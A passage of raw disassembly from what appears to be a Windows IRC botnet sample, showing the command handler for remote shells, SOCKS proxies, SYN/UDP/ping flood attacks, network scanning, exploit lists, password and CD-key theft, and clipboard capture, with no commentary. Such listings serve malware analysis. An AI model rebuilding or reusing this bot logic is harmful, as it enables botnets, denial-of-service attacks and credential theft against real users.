[ebp+var_4AF0] push offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 26604A7h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2660DCFh push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 26604A7h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j call near ptr 2660DCFh nop push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2650000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2660DCFh push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call 